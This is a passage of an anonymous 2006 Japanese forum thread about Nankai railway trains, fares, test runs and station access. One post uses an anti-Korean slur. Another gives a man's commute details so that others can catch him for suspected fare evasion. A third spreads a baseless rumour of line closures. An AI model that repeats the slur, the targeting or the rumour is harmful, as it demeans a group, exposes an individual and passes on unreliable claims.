390 :名無し野電車区:2006/12/12(火) 22:03:04 ID:2Zk4mUh0
>>385
YES
だって見通し悪いし

391 :名無し野電車区:2006/12/12(火) 22:09:51 ID:+IaKSfBD
そこもDQNの温床だ罠

392 :名無し野電車区:2006/12/12(火) 22:20:13 ID:ehaStXfR
乗務員室の後ろに客席を置くと乗務員が嫌がると聞いたが

393 :名無し野電車区:2006/12/12(火) 22:21:03 ID:ehaStXfR
しまった、話題間違えた

394 :名無し野電車区:2006/12/12(火) 22:25:54 ID:0Z7SYy2x
一概にそうとは言えんだろと。
まあ車両辺りのドア位置を均等にするためにも4扉車では撤廃するだろう。

395 :名無し野電車区:2006/12/12(火) 22:31:03 ID:rRgKtp1I
泉北の新しい車掌用停止位置は、あれをこえると電車がホームからでていて扉が開けれない状態になっていることを示すものだそうです。

396 :名無し野電車区:2006/12/12(火) 22:33:51 ID:xl9JE+UM
南海はぼろい

泉北が来たらうれしくなる

397 :名無し野電車区:2006/12/12(火) 22:34:14 ID:LTxXhklv
じゃあZは来ないでFA?

398 :名無し野電車区:2006/12/12(火) 22:35:26 ID:lbW1LNN3
そうだろうな

399 :名無し野電車区:2006/12/12(火) 22:36:01 ID:2Zk4mUh0
なんだ

400 :名無し野電車区:2006/12/12(火) 22:36:16 ID:LTxXhklv
400
まあいっか

401 :名無し野電車区:2006/12/12(火) 22:41:02 ID:+IaKSfBD
>>392
いやでも、2300系には採用されたじゃん。
まあ、あれはデッドスペースが大きくなることを考えれば仕方ないのかもしれないが。

402 :名無し野電車区:2006/12/12(火) 22:42:17 ID:JnmfiVRR
平日天下茶屋駅7時34分発難波7時42分着の普通に乗り、新今宮で改札通過せず、折り返し乗車している30代のがっちりした男性を知っていますが、
キセルではないのでしょうか?定期は堺東〜河内長野でした。何より本人が自慢してくるので。難波駅の南側階段で折り返していますので、捕まえてください。


403 :名無し野電車区:2006/12/12(火) 22:45:37 ID:xNM7J1Qa
何を今更

404 :名無し野電車区:2006/12/12(火) 22:47:56 ID:2Zk4mUh0
>>402
車掌、または駅係員か最寄りの警察に御相談下さい

405 :名無し野電車区:2006/12/12(火) 22:55:26 ID:x7WHqNCb
>>385
本線は7000しかしてなかったはず

406 :名無し野電車区:2006/12/12(火) 23:25:07 ID:kS4j3MP4
そんなもん、新今宮からなんばまで行って、折り返しの和歌山市になるやつをそのまま乗車してる基地外だっていてる。
毎日同じ人みかけるし。駅員にいったことあるが、まーしゃーないわ。でおわった。
亀は南海に知り合いいてて、その人から情報をもらってるよ。
杉谷にその情報をまわしてるらしい。
なんなら、何か情報もらおうか?
俺2人と親密あるから、杉谷のことけっこうしってるしw

407 :名無し野電車区:2006/12/12(火) 23:26:59 ID:IwczcAnK
>>406
またお前か

408 :名無し野電車区:2006/12/12(火) 23:37:45 ID:GD/alFBh
俺は時々平然と折り返すが定期が難波からなので問題なし
というより、座席を求めるもいとむなし

409 :名無し野電車区:2006/12/12(火) 23:38:19 ID:dz7juJCx
>>402
お前京阪スレでも同じようなこと言ってただろ。

410 :名無し野電車区:2006/12/12(火) 23:39:57 ID:J3FIu9jS
高野山の虫干し大会について何一つ言及はないのですか?

411 :名無し野電車区:2006/12/12(火) 23:41:49 ID:Dt919bR5
なんだこの濃霧は

412 :名無し野電車区:2006/12/12(火) 23:45:09 ID:ohN2vCDw
875 :名無し野電車区 :2006/12/12(火) 22:37:07 ID:JnmfiVRR
平日は東福寺駅に7時34分発が三条7時42分着で普通を乗り、三条は改札通過せず、折り返し乗車はしている
100代のがっちりしたような男性を知っていますが、キセルではないのでしょうか?定期に東福寺を淀屋橋間
でした。何よりは本人で自慢してくるので。三条駅に南側階段は折り返していますので、捕まえてくださいか?

日本語の勉強求む。

413 :名無し野電車区:2006/12/12(火) 23:49:41 ID:blKtjaAH
100代のガッチリしたような男性・・・・・・・?

414 :名無し野電車区:2006/12/12(火) 23:52:06 ID:gIt57IFc
南海沿線はDQNの温床

415 :名無し野電車区:2006/12/12(火) 23:53:53 ID:1r4I8Kyg
汚物南海車泉北乗り入れお断り
ぼろいし

416 :名無し野電車区:2006/12/12(火) 23:53:55 ID:LTxXhklv
100代のがっちりしたような男性に会ってみたい

417 :名無し野電車区:2006/12/12(火) 23:53:57 ID:x7WHqNCb
http://www.vipper.org/vip399408.jpg

418 :名無し野電車区:2006/12/12(火) 23:55:32 ID:WgjugVx4
>>411
今外見てみたけどすげー

419 :名無し野電車区:2006/12/12(火) 23:57:54 ID:2Zk4mUh0
>>410
一般人参加出来ない

420 :名無し野電車区:2006/12/12(火) 23:59:59 ID:IwczcAnK
>>417
沖縄ってそんないいとこじゃないよ

421 :名無し野電車区:2006/12/12(火) 23:59:59 ID:JHAJQ4jr
今日も余裕の鳥。

422 :名無し野電車区:2006/12/12(火) 23:59:59 ID:eSiWsURR
ぎゃす

423 : ◆sxrGNKzbRg :2006/12/13(水) 00:00:03 ID:in5bNNUn
とらせて頂きます。

424 :名無し野電車区:2006/12/13(水) 00:00:24 ID:n/Ymc+5/
オッケェ〜イ

425 :名無し野電車区:2006/12/13(水) 00:00:43 ID:IwczcAnK
おめ

426 :名無し野電車区:2006/12/13(水) 00:00:56 ID:CGdcqsBu
余裕やな

427 :名無し野電車区:2006/12/13(水) 00:02:28 ID:Ybadxl5n
でまあ12月16日には水間改造車がデビューなわけだが
http://meijo.s28.xrea.com/x/img/up974.jpg

428 :名無し野電車区:2006/12/13(水) 00:03:57 ID:eSiWsURR
ぎゃすで酉成功

429 :名無し野電車区:2006/12/13(水) 00:03:58 ID:+IaKSfBD
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○B(21)
で、明日の試運転について

430 : ◆sxrGNKzbRg :2006/12/13(水) 00:04:47 ID:in5bNNUn
ぐわっ、2日連続とり失敗orz

431 :名無し野電車区:2006/12/13(水) 00:05:16 ID:LTxXhklv
>>427
おい

432 :名無し野電車区:2006/12/13(水) 00:07:19 ID:Ybadxl5n
写真は本文と関係ありません

433 :名無し野電車区:2006/12/13(水) 00:07:49 ID:n/Ymc+5/
水間公式にうp

434 :名無し野電車区:2006/12/13(水) 00:13:19 ID:Ybadxl5n
http://www.offtime-arekore.info/mizuma-tetsudo.htm

435 :名無し野電車区:2006/12/13(水) 00:14:34 ID:WfrUcOf9
>>427
犬鍋野郎は関空から半島へ帰って下さい

436 :名無し野電車区:2006/12/13(水) 00:17:43 ID:Ybadxl5n
ヒロイモンだけどな

437 :名無し野電車区:2006/12/13(水) 00:19:00 ID:x6XVdoG+
酉おめ

おやすみ

438 :名無し野電車区:2006/12/13(水) 00:22:19 ID:EOTUG8cc
明日も試運転やるつもりだかどうだか分からんよ

439 :名無し野電車区:2006/12/13(水) 00:27:32 ID:Ybadxl5n
おやすみ

440 :名無し野電車区:2006/12/13(水) 02:22:57 ID:aNjTN+kz
2006年12月12日発信 2000系本線で試運転
 (写真提供:かめちゃん)
12月11日(月)、昨年の10月に羽倉崎検車区に回送されてきた後、休車となっていた2042Fが本線上で試運転を行った。
羽倉崎〜住ノ江間を2往復し、ブレーキの試験等が行われた模様。



--------------------------------------------------------------------------------


441 :名無し野電車区:2006/12/13(水) 02:24:04 ID:aNjTN+kz
http://www.jtw.zaq.ne.jp/sugitani/nankai/topics/2006.html

442 :名無し野電車区:2006/12/13(水) 07:46:30 ID:47NsyGFi
おはよう

443 :名無し野電車区:2006/12/13(水) 10:08:50 ID:YQ2BhXtV
今羽倉の横を通ったが・・2032Fは2001Fと一緒になっててまたまた2042Fは見かけず。
今日も試運転してるんじゃないかな。

444 :名無し野電車区:2006/12/13(水) 10:27:04 ID:n/Ymc+5/
444

445 :名無し野電車区:2006/12/13(水) 10:31:43 ID:yXtl/ZvA
友人の勤務する和歌山の金融機関に貯金しに行くときに、なんば9:10発の特急サザンに乗ったのだが、和歌山市で全員降りた。船に連絡しない和歌山港行きに乗る客ているの?

446 :名無し野電車区:2006/12/13(水) 11:43:40 ID:BMQSx2Al
>>445

心配しなくても和歌山港の廃止は時間の問題

さらに汐見橋線も廃止
南海本線岸里玉出〜住ノ江も経費削減で複線化されます

447 :名無し野電車区:2006/12/13(水) 12:47:42 ID:j/crOkHQ
残念ですが多奈川線以外廃止はありません

448 :445:2006/12/13(水) 13:38:35 ID:yXtl/ZvA
446
と、言うことは、和歌山港廃止=南海フェリーあぼーんということですか?

449 :名無し野電車区:2006/12/13(水) 14:04:17 ID:47xScNCf
どこまで信憑性があるのか分からんな。フェリー自体は自動車航送需要がカギだろう。
汐見橋線は形だけでも存続させないと絶対損だ。天王寺線に続いて都心から撤退すべきでない。

450 :名無し野電車区:2006/12/13(水) 14:19:21 ID:Ybadxl5n
>>449
これについては信じるほうが馬鹿

451 :451:2006/12/13(水) 14:26:20 ID:47xScNCf
どうもごめんやす

452 :名無し野電車区:2006/12/13(水) 14:49:32 ID:dX6a/I3e
そんなもん、新今宮からなんばまで行って、折り返しの和歌山市になるやつをそのまま乗車してる基地外だっていてる。
毎日同じ人みかけるし。駅員にいったことあるが、まーしゃーないわ。でおわった。
亀は南海に知り合いいてて、その人から情報をもらってるよ。
杉谷にその情報をまわしてるらしい。
なんなら、何か情報もらおうか?
俺2人と親密あるから、杉谷のことけっこうしってるしw

453 :名無し野電車区:2006/12/13(水) 15:17:05 ID:/HPLLVo3
しかしラピートって、なんであんなダサいんですか?東武住民より。

454 :名無し野電車区:2006/12/13(水) 16:11:28 ID:ragdBtol
>>453
しかし東武の車輛って、なんであんなダサいんですか?

ああ、あほくさ('A`)

455 :名無し野電車区:2006/12/13(水) 16:53:53 ID:EOTUG8cc
6200系がダサいと言うのには同意するだろう、本当に東武住人なら

456 :名無し野電車区:2006/12/13(水) 17:26:17 ID:Ybadxl5n
コピペに毒されたろ

457 :名無し野電車区:2006/12/13(水) 17:53:33 ID:9qogVnWl
夕方の高野線から南海線へ送り込みの回送のスジで2000系を見かけた。
この回送のスジは普段は7000系などばかりでこれは珍しい。
しかし車番までは確認できなかった。


458 :名無し野電車区:2006/12/13(水) 18:00:24 ID:EOTUG8cc
いつもの奴(2042)、か・・・?
こういう予測をすると大抵別物だったりするから困る

459 :名無し野電車区:2006/12/13(水) 18:19:28 ID:yQ/Kgbl/
>>457
住吉東で車内から確認したが、2連2本で片方は2038F。もう片方はわからん。

460 :名無し野電車区:2006/12/13(水) 20:31:04 ID:hLDNNhZD
age

461 :名無し野電車区:2006/12/13(水) 21:23:04 ID:n/Ymc+5/
なんか2042にくっついてなかったか

462 :名無し野電車区:2006/12/13(水) 21:24:19 ID:n/Ymc+5/
休車時の話ね

463 :名無し野電車区:2006/12/13(水) 21:40:27 ID:hbjjpObG
2000系は結局どこを走るのでしょうか?

464 :名無し野電車区:2006/12/13(水) 21:49:28 ID:YQ2BhXtV
>>459 仮にその2×2が本線に回送されてたとしたら転用予定の28両が揃う事になるが。今後どうなんのかねえ

465 :名無し野電車区:2006/12/13(水) 22:00:29 ID:Ybadxl5n
>>463
企業秘密です。

466 :名無し野電車区:2006/12/13(水) 22:08:39 ID:/jIoiRMD
>>463
線路

467 :名無し野電車区:2006/12/13(水) 22:20:56 ID:czPoy5Xj
>>455
んだとぉらぁ

468 :名無し野電車区:2006/12/13(水) 22:28:17 ID:47NsyGFi
願わくば2000系が余計な真似をせずキチンと7000系を処分してくれますように

469 :名無し野電車区:2006/12/13(水) 22:36:03 ID:ZbxsFDJP
既存車の配置換えも気になるが、
新車はどうなるのか

470 :名無し野電車区:2006/12/13(水) 22:43:49 ID:hLDNNhZD
今のところ
阪堺キタ━━(゚∀゚)━━!!
水間キタ━━(゚∀゚)━━!!
泉北(´_ゝ`)フーン

なにわ筋(´・ω・`)ショボーン

471 :名無し野電車区:2006/12/13(水) 22:47:32 ID:47NsyGFi
阪堺はガチでヨカタネ

472 :名無し野電車区:2006/12/13(水) 23:00:13 ID:hMl/nhBh
ちんちんちん電車はよかよ

473 :名無し野電車区:2006/12/13(水) 23:21:12 ID:EOTUG8cc
>>467
何か

474 :名無し野電車区:2006/12/13(水) 23:36:46 ID:O2m+3l2K
なんも

475 :名無し野電車区:2006/12/13(水) 23:41:11 ID:N06OucZf
堺市LRTは通常鉄軌道っぽいのか

476 :名無し野電車区:2006/12/13(水) 23:46:23 ID:RYUVWOJT
府大ってどこが最寄り?
中百舌鳥?白鷺?初芝?やっぱ中百舌鳥が一番近い?

477 :名無し野電車区:2006/12/13(水) 23:47:44 ID:EOTUG8cc
さて「?」と何回書いたでしょう?

478 :鶚  ◆McS/TRY8cM :2006/12/13(水) 23:51:10 ID:KZYr+5TP
>>476
マジレスすると南海バス

479 :名無し野電車区:2006/12/13(水) 23:53:23 ID:Ybadxl5n
>>476
企業(ry

480 :名無し野電車区:2006/12/13(水) 23:54:10 ID:UvtBQ5KS
>>478
マジレスすると南海バスと言う駅名・バス停名は存在しない

481 :名無し野電車区:2006/12/13(水) 23:54:44 ID:N06OucZf
白鷺が一番近いが素人にはオススメできない

482 :名無し野電車区:2006/12/13(水) 23:57:35 ID:x6XVdoG+
そのうち、りんくうタウンになる

483 :名無し野電車区:2006/12/13(水) 23:58:41 ID:I72sn6oU
6200系って何?

484 :名無し野電車区:2006/12/13(水) 23:59:59 ID:N06OucZf
>>483
汚物

485 :名無し野電車区:2006/12/14(木) 00:00:00 ID:j/crOkHQ
>>

486 :名無し野電車区:2006/12/14(木) 00:01:08 ID:+EtZrOJI


487 :名無し野電車区:2006/12/14(木) 00:01:54 ID:yqFFLsuf
りんくうは勧誘失敗したんじゃね

488 :名無し野電車区:2006/12/14(木) 00:03:30 ID:47NsyGFi
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○B○(21)
三日減りのジンクス脱却

489 :名無し野電車区:2006/12/14(木) 00:05:26 ID:j/crOkHQ
>>484
おめ

490 :名無し野電車区:2006/12/14(木) 00:08:41 ID:+EtZrOJI
府大移転するより新大学作った方がいいよ
流行りの和大観光学部を持ってくるとか

491 :名無し野電車区:2006/12/14(木) 00:11:00 ID:UePnUN7l
>>490
大阪なのに和大を持ってこれるか

492 :名無し野電車区:2006/12/14(木) 00:13:01 ID:+EtZrOJI
そりゃすまんな

493 :名無し野電車区:2006/12/14(木) 00:15:40 ID:5BYPEcjs
そんなことより温泉を

494 :名無し野電車区:2006/12/14(木) 00:17:45 ID:UePnUN7l
wyxe
http://uploader.onpuch.co.uk/img-box/img200612132142471351d.jpg

495 :名無し野電車区:2006/12/14(木) 00:19:08 ID:5BYPEcjs
ワァーオ
側面がボロボロ・・・

496 :名無し野電車区:2006/12/14(木) 00:22:15 ID:UePnUN7l
wyxe
http://uploader.onpuch.co.uk/img-box/img2006121323045598b07.jpg

497 :名無し野電車区:2006/12/14(木) 00:22:58 ID:+EtZrOJI
流石に7000と6000じゃ側面の安定度が違う

498 :名無し野電車区:2006/12/14(木) 00:23:48 ID:Ltv0g5C1
>406
通勤定期を難波まで買ってたら、何ら問題ではないが。

499 :名無し野電車区:2006/12/14(木) 00:24:12 ID:5BYPEcjs
しかも6000トップナンバーじゃん

500 :名無し野電車区:2006/12/14(木) 00:24:51 ID:+EtZrOJI
500

501 :名無し野電車区:2006/12/14(木) 00:26:40 ID:S08JVFZw
7000は雌車じゃん

ボコボコだな奥のほう

502 :名無し野電車区:2006/12/14(木) 00:29:31 ID:nFZ9AM+O
12月いっぱいで酉禁止な


503 :名無し野電車区:2006/12/14(木) 00:30:35 ID:K927fXR+
大阪府が責任とってゲートタワービルに府庁入れる案に一票。
まあパパラ跡地にまた何かできるらしいし、結構遊べるようになるんやね?

504 :名無し野電車区:2006/12/14(木) 00:35:58 ID:S08JVFZw
府庁なんて今更入ってもな

505 :名無し野電車区:2006/12/14(木) 00:43:29 ID:UePnUN7l
wyxe
http://www.agui.net/imglog/20/img-box/img20061212131951.jpg

506 :名無し野電車区:2006/12/14(木) 00:52:18 ID:UePnUN7l
wyxe
http://www.agui.net/imglog/20/img-box/img20061212132613.jpg

507 :名無し野電車区:2006/12/14(木) 00:52:48 ID:UePnUN7l
wyxe
http://www.agui.net/imglog/20/img-box/img20061212163903.jpg

508 :名無し野電車区:2006/12/14(木) 00:53:37 ID:UePnUN7l
wyxe・・・
http://uploader.onpuch.co.uk/img-box/img200612140049335b09b.jpg

509 :名無し野電車区:2006/12/14(木) 00:55:10 ID:PVxAMbeJ
酉おめ

りんくうには住宅だろやっぱ

510 :名無し野電車区:2006/12/14(木) 00:57:57 ID:yqFFLsuf
>>506
これはよいドアチャイマー

511 :名無し野電車区:2006/12/14(木) 01:07:57 ID:oLcF2D2d
>>489
運賃計算的には問題ないけど、乗車マナー的にどうよと
いったところはあるね。

512 :名無し野電車区:2006/12/14(木) 01:11:33 ID:yqFFLsuf
おやすみ

513 :名無し野電車区:2006/12/14(木) 01:24:47 ID:eQTmjIH7
おやすみん

514 :名無し野電車区:2006/12/14(木) 01:47:21 ID:PVxAMbeJ
おやすみ

515 :名無し野電車区:2006/12/14(木) 02:08:03 ID:vuhkIBHe
仕事で南海を使うんやけど、特急サザンはなんとかできないんかなあ?

とにかくアコモの劣化が気にかかる。シートは色あせているし、肘掛の灰皿が
固すぎて取り出せないものもある。それと、あとから作られた中間車とそれ以外の
車両の居住性が違いすぎる。座り心地からテーブル、灰皿の使いやすさまで、
どれをとっても雲泥の差!あれで同じ料金500円は合点がいかない。

そもそも500円という料金設定が高いとおもう。南海はただでさえ普通運賃が高い。
そのうえ500円の追加はなお高く感じる。500円とるならば、せめてラピートレベルには
してほしいなあ。

アコモ改善ができないなら、料金を値下げするべきだと思う。短距離利用者が指定席に
なだれ込んで和歌山までの利用客が席を取りにくくなるかもしれないが、
サザンの現状(特に昼間)をみていたら、そうも言ってられないだろう。
はっきり言って空気輸送、喫煙の3号車は乗客が一桁なんてしばしば・・・。
かなり込み合う一般席車両とはまさに別世界になっている。

俺は阪急沿線の住人だから和歌山へは酉を使えば便利だけど、くろしおは毎時
1本しか来ないし紀州路快速は大阪からまず間違いなく座れない。なにより南海
が気に入っているので南海を使う、でもサザンに乗っていると時々悲しくなる。
もっと頑張ってほしいなあ・・・。目的地が違うかもしれないけど、酉の和歌山で
くろしおの自由席乗車位置にできる長蛇の列を見ていると、もっとお客さんを
取れそうな気がするんやけど・・・。

516 :名無し野電車区:2006/12/14(木) 02:40:57 ID:S08JVFZw
どうせろくに乗ったことも無いんだろうがげろしおも昼間の和歌山以北からの乗客は殆ど変わらん、
しかも悪酔い糞アコモで自由席すらろくでもない特急料金を取ってるわけで。
オッサンは神なんだがな。

517 :名無し野電車区:2006/12/14(木) 05:45:49 ID:uuDhQDT/
杉谷いわく座るための料金やから500円はワンコインやしいいって

518 :名無し野電車区:2006/12/14(木) 06:02:17 ID:22GkYgv4
200X年。南海沿線は核の炎に包まれた。

519 :名無し野電車区:2006/12/14(木) 07:49:13 ID:F6Q4xopn
おはよう

520 :名無し野電車区:2006/12/14(木) 08:13:03 ID:MbMEuy7m
>>515
車両やダイヤ以前に、和歌山市駅と和歌山駅の利便性が違いすぎるね

俺南海ファンの和歌山市民だが、もはや自虐的に書かざるを得ない状況

521 :名無し野電車区:2006/12/14(木) 08:19:16 ID:yqFFLsuf
おはよう

522 :名無し野電車区:2006/12/14(木) 08:19:27 ID:6sJ2iYly
>>518
BB確定じゃん。
しかしSEはクソだ。

523 :名無し野電車区:2006/12/14(木) 12:55:30 ID:4GNce/4P
>>494
臨停のようだ、だが7000・・・

524 :名無し野電車区:2006/12/14(木) 15:10:23 ID:xUqonkXJ
今日も2000試運転やってるな 今羽倉崎におって住ノ江に向かって試運転しそうな感じやった

525 :名無し野電車区:2006/12/14(木) 16:53:08 ID:5BYPEcjs
編成kwsk

526 :名無し野電車区:2006/12/14(木) 17:29:42 ID:F6Q4xopn
雨天順延にはならなんだか

527 : ◆Bg/lJw/Yek :2006/12/14(木) 17:55:19 ID:/Jxcyemf
むしろ雨天は好都合かもしれんよ
ドラム缶積まなくていいし

528 :名無し野電車区:2006/12/14(木) 19:24:39 ID:xUqonkXJ
ドラム缶積んでたで

529 :名無し野電車区:2006/12/14(木) 21:04:03 ID:JLFae8yM
ミナミのお買い物で特急券プレゼント 南海、来年から
ttp://www.asahi.com/life/update/1214/008.html

530 :名無し野電車区:2006/12/14(木) 21:15:13 ID:ttNzpBJJ
ズームカーは悪天候に強いからな

531 :名無し野電車区:2006/12/14(木) 21:16:22 ID:quCoosmu
>>457-459

その2000系2×2は2034F+2038Fだそうな。羽倉に回送されて来たとの事。試運転といい最近2000系に動きが出てきたな。

532 :名無し野電車区:2006/12/14(木) 21:38:41 ID:nFZ9AM+O
南海は、特急に片開きを充当してる時点で終わってる

533 :名無し野電車区:2006/12/14(木) 21:40:30 ID:yqFFLsuf
>>531


>>530
雪慣れしてるしな。

534 :名無し野電車区:2006/12/14(木) 21:49:55 ID:NLjWyHdC
>>509
りんくうタウン周辺は住宅地として人気があって、空き部屋も直ぐに埋まるよ。
マイカーを持っていけば、便利快適に暮らせるよ。
ただね、始発と終電の時間には気を付けるように。
始発は6時前、終電は難波22時24分発で高野線の高野下と同じ時間。
それさえ許せるならいい場所ですよ。

535 :名無し野電車区:2006/12/14(木) 21:52:44 ID:yqFFLsuf
なぁに
残業しなけりゃいい

536 :名無し野電車区:2006/12/14(木) 21:58:37 ID:y+47x6VE
>>530
それに比べて7000と来たら・・・

537 :名無し野電車区:2006/12/14(木) 21:59:56 ID:+EtZrOJI
言うなよ

538 :名無し野電車区:2006/12/14(木) 22:04:43 ID:F6Q4xopn
>>531
おつ

539 :名無し野電車区:2006/12/14(木) 22:11:57 ID:onHLad28
>>529
PiTaPaで特急料金払えるサービスも欲しいわけだが。

540 :名無し野電車区:2006/12/14(木) 22:12:00 ID:cWn+WpKH
>>532
つ[京急]
つ[JRほか有料特急を運転してる大手私鉄]

541 :名無し野電車区:2006/12/14(木) 22:13:29 ID:+EtZrOJI
>>539
それ前に言った

542 :名無し野電車区:2006/12/14(木) 22:35:27 ID:JYfPmNag
>>395
泉北は、オーバーラン多いからな。

543 :名無し野電車区:2006/12/14(木) 22:54:12 ID:eiHPNWVy
ホームアローン滅茶苦茶面白ぇwwwwwwwwwwwwwww

544 :名無し野電車区:2006/12/14(木) 22:57:06 ID:eiHPNWVy
誤爆orz

545 :名無し野電車区:2006/12/14(木) 22:57:47 ID:+EtZrOJI
泥棒さんが可哀想だよ(´;ω;`)

546 :名無し野電車区:2006/12/14(木) 23:00:01 ID:yqFFLsuf
泥棒強すぎだろう
常識的に考えて・・・

547 :名無し野電車区:2006/12/14(木) 23:07:58 ID:D5Zbgy5X
>>496
これ、何で行き先同じなんだ?

548 :名無し野電車区:2006/12/14(木) 23:08:08 ID:TCphDzua
ラピートを400円に!関空厨は南海を潰す気ですw

>関空→難波のラピート 昼の回数券なら400円。
>関空会社、ツアー会社、南海電鉄が汗かいて関空利用者は特急券を無料にしたら?
http://travel2.2ch.net/test/read.cgi/space/1165933683/45

549 :名無し野電車区:2006/12/14(木) 23:08:30 ID:GKxit2nA
企業秘密です

550 :名無し野電車区:2006/12/14(木) 23:10:16 ID:yqFFLsuf
>>547
その質問を「なんでこの駅は2面3線なんだ」に置き換えると分かる

551 :名無し野電車区:2006/12/14(木) 23:12:43 ID:+EtZrOJI
>>550
難解にも程があるだろ
常識的に考えて・・・

552 :名無し野電車区:2006/12/14(木) 23:14:00 ID:S08JVFZw
あの駅は乗り換えの利便性を向上させるべきだ

553 :名無し野電車区:2006/12/14(木) 23:14:59 ID:yqFFLsuf
>>551
うるせー

554 :名無し野電車区:2006/12/14(木) 23:25:59 ID:4GNce/4P
>>550
「なぜこの駅には表示機が無いんだ」

555 :名無し野電車区:2006/12/14(木) 23:30:35 ID:+EtZrOJI
555

556 :名無し野電車区:2006/12/14(木) 23:34:51 ID:eQTmjIH7
>>547
リンカン

557 :名無し野電車区:2006/12/14(木) 23:40:02 ID:PVxAMbeJ
ズーム、結局北部には乗り入れるのかせんのか

558 :名無し野電車区:2006/12/14(木) 23:46:28 ID:+EtZrOJI
しらね

559 :名無し野電車区:2006/12/14(木) 23:49:01 ID:yqFFLsuf
企業秘密です。

560 :名無し野電車区:2006/12/14(木) 23:50:58 ID:F6Q4xopn
林間田園都市も開業してかなり経つよなぁ

561 :名無し野電車区:2006/12/14(木) 23:53:35 ID:oIPB7DZX
http://uploader.onpuch.co.uk/img-box/img20061214212834353fe.jpg

562 :名無し野電車区:2006/12/14(木) 23:55:16 ID:PVxAMbeJ
>>561
俺も正直言ってうまくないが言わしてもらう

なんつつーかヘ下t(ry

563 :名無し野電車区:2006/12/14(木) 23:55:19 ID:3oHluSf3
うむ

564 :名無し野電車区:2006/12/14(木) 23:56:41 ID:5BYPEcjs
・・・というか用途不明
誰だよ撮った奴

565 :名無し野電車区:2006/12/14(木) 23:58:20 ID:+EtZrOJI
♪みたよ
ワザとだろ、知ってんだろおまいら

566 :名無し野電車区:2006/12/14(木) 23:59:59 ID:4GNce/4P
まあまあ、鎮まれよ

567 :名無し野電車区:2006/12/14(木) 23:59:59 ID:F6Q4xopn
たまには自ら

568 :名無し野電車区:2006/12/14(木) 23:59:59 ID:t/Hhi7aZ


569 :名無し野電車区:2006/12/15(金) 00:00:24 ID:4GNce/4P
おめ

570 :名無し野電車区:2006/12/15(金) 00:00:29 ID:3oHluSf3
おめ

571 :名無し野電車区:2006/12/15(金) 00:00:33 ID:+EtZrOJI
乙ス

572 :名無し野電車区:2006/12/15(金) 00:01:36 ID:EDff+0JB
>>560
橋本の90年に比べたらカスや

573 :名無し野電車区:2006/12/15(金) 00:03:33 ID:nkYw5JGX
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○B○B(24)
カスはねーだろ、カスは・・・

574 :名無し野電車区:2006/12/15(金) 00:04:42 ID:nkYw5JGX
そういや、交通センター前は結局南海から去っちゃったんだよな

575 :名無し野電車区:2006/12/15(金) 00:05:26 ID:H8q68qHW
 

576 :名無し野電車区:2006/12/15(金) 00:10:00 ID:nkYw5JGX
http://www.nankai.co.jp/company/news/pdf/061208.pdf

577 :名無し野電車区:2006/12/15(金) 00:12:22 ID:EDff+0JB
つ「PDF注意」

578 :名無し野電車区:2006/12/15(金) 00:17:18 ID:VtUqKlya
別にいらねーだろ
注意

579 :名無し野電車区:2006/12/15(金) 00:18:29 ID:VtUqKlya
てかデフォルトイベントktkr

580 :名無し野電車区:2006/12/15(金) 00:20:54 ID:H8q68qHW
稼ぎ放題ってわけでもない微妙な年末年始ビジネス
近鉄なんか昔は儲かったのだろうな

581 :名無し野電車区:2006/12/15(金) 00:23:29 ID:EDff+0JB
今もそれなりに

582 :名無し野電車区:2006/12/15(金) 00:23:50 ID:45X65ao+
もしかして、pitapaの日付変更線午前3時をまたぐ乗車で
隠れてたバグがでてきたり。。。


583 :名無し野電車区:2006/12/15(金) 00:28:01 ID:KqsTGj9T
事前演習すれば問題なし

584 :名無し野電車区:2006/12/15(金) 00:28:47 ID:KqsTGj9T
酉オおめ

585 :名無し野電車区:2006/12/15(金) 00:30:18 ID:EDff+0JB
事前演習て・・・3時まで構内にいろってか

586 :名無し野電車区:2006/12/15(金) 00:31:09 ID:KqsTGj9T
待合室にいたら問題は無かろう

587 :名無し野電車区:2006/12/15(金) 00:32:37 ID:bmQ8ohHH
しまった、東は住吉東だと(ry

588 :名無し野電車区:2006/12/15(金) 00:32:59 ID:45X65ao+
>>583
そんな真面目に仕事してれば、pitapaスタート時の失敗も
なかったろうに。


589 :名無し野電車区:2006/12/15(金) 00:38:01 ID:H8q68qHW
>>587
ねーよ

590 :名無し野電車区:2006/12/15(金) 00:43:23 ID:uNA35G2K
>>542
栂の上りとかナ…

案外止まれる光明池
油断すると流れる栂

591 :名無し野電車区:2006/12/15(金) 00:44:50 ID:KqsTGj9T
そこで、ATOの出番なわけだ

592 :名無し野電車区:2006/12/15(金) 00:47:14 ID:EDff+0JB
で、新ATSはどうなったのかと

593 :名無し野電車区:2006/12/15(金) 00:55:22 ID:0pRW8f8o
>>560
開業が1981年11月だったから、もう25年だね。

594 :名無し野電車区:2006/12/15(金) 00:56:23 ID:juI3LIfl
>>576
またこの界隈にDQNが徘徊するわけだ。

正月三が日と住吉祭の期間中はこの界隈の治安が悪化する・・・。

595 :名無し野電車区:2006/12/15(金) 01:05:16 ID:EDff+0JB
おやすみ

596 :名無し野電車区:2006/12/15(金) 01:19:36 ID:6WWnEx6p
正月三が日は、阪堺線住吉鳥今前電停から上町線住吉公園の駅車内を通り過ぎて住みよした異種駅の改札まで行列が出来ると聞いたのいてすが・・・

597 :名無し野電車区:2006/12/15(金) 01:27:57 ID:Np3CGmP0
阪堺の大繁盛時期キタ━━(゚∀゚)━━!!

598 :名無し野電車区:2006/12/15(金) 01:42:19 ID:6b+qr4dk
おやすみ

599 :名無し野電車区:2006/12/15(金) 01:46:44 ID:KqsTGj9T
おやすみっとついでに

600 :名無し野電車区:2006/12/15(金) 02:19:40 ID:H8q68qHW
600

601 :名無し野電車区:2006/12/15(金) 07:49:34 ID:nkYw5JGX
おはよう

602 :名無し野電車区:2006/12/15(金) 08:04:33 ID:EDff+0JB
おはよう

・・・なんだ平常運転かよ

